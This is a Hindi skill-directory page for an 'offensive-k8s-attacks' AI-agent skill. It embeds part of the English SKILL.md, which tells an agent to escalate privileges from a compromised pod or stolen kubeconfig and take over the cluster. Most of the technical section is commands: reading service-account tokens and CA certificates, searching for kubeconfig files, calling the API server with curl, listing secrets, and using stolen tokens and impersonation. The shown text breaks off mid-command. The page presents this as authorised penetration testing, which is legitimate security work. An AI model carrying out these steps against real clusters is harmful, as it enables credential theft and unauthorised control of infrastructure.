offensive-k8s-attacks
यह क्या करती है
यह स्किल Kubernetes क्लस्टर के सुरक्षा परीक्षणों की एक कार्यप्रणाली है, जिसमें service accounts, RBAC permissions, kubelet का खुलापन और cloud metadata तक पहुँच शामिल हैं। यह लिखित अनुमति के साथ क्लस्टर सुरक्षा परखने वाले पेशेवरों के लिए है।
कब इस्तेमाल करें
- ✓जब आप अधिकृत मूल्यांकन में Kubernetes क्लस्टर को RBAC की गलत configurations के लिए परख रहे हों।
- ✓जब आप जाँचना चाहते हों कि किसी pod का service account उसकी ज़रूरत से ज़्यादा पहुँच रखता है या नहीं।
- ✓जब आपको हस्ताक्षरित क्लस्टर परीक्षण में kubelet और etcd का खुलापन जाँचना हो।
Skill का लिंक
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/container/offensive-k8s-attacks/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हमें अपने Kubernetes क्लस्टर के परीक्षण की अनुमति है। service account की permissions और RBAC नियम जाँचिए।”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
स्किल पहले आपकी स्थिति खोजती है, जैसे pod shell या kubeconfig फ़ाइल। फिर वह permissions की गणना करती है और escalation रास्ते खोजती है, जैसे बहुत व्यापक roles या खुले kubelet ports।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Kubernetes Cluster Attacks
You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.
Quick Workflow
- Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.
- Enumerate service account permissions, cluster roles, and accessible resources.
- Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.
- Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.
- Extract secrets, pivot to other namespaces, and target the control plane.
- Leverage cloud metadata or etcd access for infrastructure-wide compromise.
Phase 1: Initial Enumeration
Determining Your Position
# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes
# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT
# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local
# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token
Setting Up API Access Without kubectl
# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
${APISERVER}/api/v1/namespaces
# Shorthand function for repeated use
k8s_api() {
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
"${APISERVER}$1"
}
# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
-X POST -H "Content-Type: application/json" \
-d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"
Automated Enumeration Tools
# kube-hunter - Kubernetes penetration testing tool
kube-hunter --active --remote $APISERVER
# peirates - Kubernetes penetration tool (run from within pod)
./peirates
# kubeaudit - Audit Kubernetes clusters for security concerns
kubeaudit all -f /path/to/kubeconfig
# kdigger - Kubernetes-focused container assessment
./kdigger dig all
# kubectl auth can-i - Check your permissions
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
kubectl auth can-i create pods
kubectl auth can-i create pods/exec
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'
Phase 2: Service Account Token Theft and Abuse
Discovering Tokens
# Default service account token mount
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Projected service account tokens (newer clusters)
ls /var/run/secrets/kubernetes.io/serviceaccount/
# Files: token, ca.crt, namespace
# Search for tokens in environment variables and config files
env | grep -i token
find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null
find / -name "*.kubeconfig" 2>/dev/null
# Check mounted secrets in other pods (if you can list or exec)
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret.secretName} {end}{"\n"}{end}'
# Look for tokens in etcd, configmaps, or environment variables
kubectl get secrets -A
kubectl get configmaps -A -o yaml | grep -i token
Token Impersonation
# Use a stolen token to authenticate
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER" \
--certificate-authority="$CACERT" auth can-i --list
# Impersonate a service account (requires impersonate verb)
kubectl auth can-i impersonate serviceaccounts
kubectl --as=system:serviceaccount:kub
अक्सर पूछे जाने वाले सवाल
परीक्षण कहाँ से शुरू होता है?
यह pod shell, चुराए गए token, खुले API server या kubeconfig फ़ाइल से शुरू हो सकता है।
क्या यह cloud पहुँच भी जाँचती है?
हाँ। यह cloud metadata तक पहुँच और क्लस्टर से जुड़े cloud IAM को कवर करती है।
क्या यह सिर्फ़ अधिकृत परीक्षण के लिए है?
हाँ। यह लिखित अनुमति और तय दायरे वाले मूल्यांकन के लिए लिखी गई है।
जानकारी
लेखक का मूल विवरण
Kubernetes cluster attack techniques covering the full attack lifecycle from initial foothold in a pod to cluster-wide compromise. Covers service account token theft and impersonation, RBAC misconfiguration exploitation including wildcard permissions and privilege escalation via role binding, direct etcd access for secret extraction, kubelet API abuse on port 10250 and read-only port 10255, pod escape via hostPID hostNetwork and hostPath volume mounts, Kubernetes secrets enumeration and decoding, admission controller bypass techniques, network policy bypass and lateral movement, cloud metadata
repo: SnailSploit/Claude-Red
लोकप्रियता
- GitHub स्टार
- 10k
- रैंकिंग में स्थान
- #11952
- लाइसेंस
- MIT
- अपडेट की गई
- 12/10/2026
कमेंट
- …
इस repository की और skills
offensive-active-directory
10kआपके एजेंट को अधिकृत Active Directory सुरक्षा परीक्षण की योजना बनाने में मदद करती है, नेटवर्क मैपिंग से लेकर Domain Admin तक के हमला रास्ते खोजने तक।
offensive-netexec
10kआपके एजेंट को अधिकृत नेटवर्क परीक्षण के लिए NetExec (nxc) टूल इस्तेमाल करने में मदद करती है, जिसमें प्रोटोकॉल, प्रमाणीकरण और credential जाँच शामिल हैं।
offensive-api-abuse
10kआपके एजेंट को अधिकृत API सुरक्षा परीक्षण की योजना बनाने में मदद करती है, जो business logic के दुरुपयोग, GraphQL जोखिम और race conditions खोजते हैं।
offensive-api-security
10kआपके एजेंट को OWASP API Top 10 के आधार पर REST, gRPC और WebSocket API पर अधिकृत सुरक्षा परीक्षण चलाने में मदद करती है।
मिलती-जुलती skills
openclaw-update
394kयह आपके एजेंट को चल रहे OpenClaw Gateway को अपडेट करने में मदद करती है, इंस्टॉल के तरीके के अनुसार सही विधि चुनकर और सेशन बनाए रखकर।
diagnose-gateway
394kयह आपके एजेंट को सेटिंग्स, चैनल और पोर्ट जांचकर पता लगाने देती है कि OpenClaw Gateway क्यों फ़ेल हो रहा है, बिना कुछ बदले।
crabbox-apps
394kयह आपके एजेंट को किसी अस्थायी क्लाउड मशीन पर ऐप खोलने और चलाने देती है, फिर उसका व्यू आपके चैट के साइड पैनल में दिखाती है।